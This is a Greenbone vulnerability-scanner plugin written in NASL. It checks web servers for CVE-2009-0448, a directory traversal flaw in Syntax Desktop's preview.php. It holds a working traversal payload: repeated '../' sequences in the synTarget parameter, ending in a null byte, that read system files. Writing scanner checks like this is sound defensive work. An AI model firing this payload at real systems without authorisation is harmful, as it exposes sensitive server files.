Syntax Desktop Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800234");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2009-02-20 17:40:17 +0100 (Fri, 20 Feb 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-0448");
  script_name("Syntax Desktop Directory Traversal Vulnerability");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/7977");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/33601");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"affected", value:"Syntax Desktop 2.7 and prior");

  script_tag(name:"insight", value:"This flaw is due to error in file 'preview.php' in 'synTarget'
  parameter which lets the attacker to gain information through directory
  traversal queries.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Syntax Desktop is prone to a directory traversal vulnerability.");

  script_tag(name:"impact", value:"Successful exploitation will let the attacker gain sensitive information
  about the remote system directories where syntax desktop runs.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");
  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

foreach path(make_list_unique("/", http_cgi_dirs(port:port))) {

  if(path == "/") path = "";

  response = http_get_cache(item:path + "/index.php", port:port);

  if("Syntax Desktop" >< response) {

    foreach file(keys(files)) {

      url = path + "/admin/modules/aa/preview.php?synTarget=../../../../../../../../../" + files[file] + "%00";
      if( http_vuln_check(port:port, url:url, pattern:file)) {
        report = http_report_vuln_url(port:port, url:url);
        security_message(port:port, data:report);
        exit(0);
      }
    }
  }
}

exit(99);